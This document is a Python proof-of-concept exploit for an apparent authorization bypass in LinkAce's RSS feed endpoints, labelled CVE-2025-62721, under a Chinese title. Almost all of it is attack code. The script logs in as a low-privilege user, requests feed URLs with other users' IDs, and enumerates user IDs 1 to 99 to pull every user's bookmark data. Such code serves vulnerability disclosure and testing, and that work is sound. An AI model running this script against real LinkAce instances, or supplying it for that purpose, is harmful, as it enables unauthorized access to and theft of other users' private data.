CVE-2025-62721 LinkAce FeedController 授权绕过漏洞

# CVE-2025-62721 PoC - LinkAce RSS Feed Authorization Bypass # Affected versions: LinkAce <= 2.3.1 # Fixed in: LinkAce 2.4.0 import requests import sys TARGET_URL = "http://target-linkace-instance.com" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "password123" TARGET_USER_ID = 1 # ID of the target user to extract data from def exploit(): """ Exploitation steps: 1. Authenticate with a low-privilege account 2. Access RSS feed endpoints to retrieve all users' data 3. Bypass ownership/visibility controls """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/login" login_data = { "email": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful with low-privilege account") # Step 2: Access RSS feed endpoint to bypass authorization # The vulnerable endpoint does not check if the requested user_id belongs to the current user rss_urls = [ f"{TARGET_URL}/api/feed/links?user_id={TARGET_USER_ID}", f"{TARGET_URL}/api/feed/lists?user_id={TARGET_USER_ID}", f"{TARGET_URL}/api/feed/tags?user_id={TARGET_USER_ID}", f"{TARGET_URL}/rss/all?user_id={TARGET_USER_ID}" ] for url in rss_urls: response = session.get(url) if response.status_code == 200: print(f"[+] Successfully accessed data from: {url}") print(f" Data preview: {response.text[:200]}...") else: print(f"[-] Failed to access: {url}") # Step 3: Extract all users' data by iterating through user IDs print("\n[*] Extracting data for all users...") for user_id in range(1, 100): url = f"{TARGET_URL}/api/feed/links?user_id={user_id}" response = session.get(url) if response.status_code == 200 and len(response.text) > 50: print(f"[+] User {user_id} data extracted: {len(response.text)} bytes") print("[!] Authorization bypass successful - all users' data exposed") return True if __name__ == "__main__": exploit()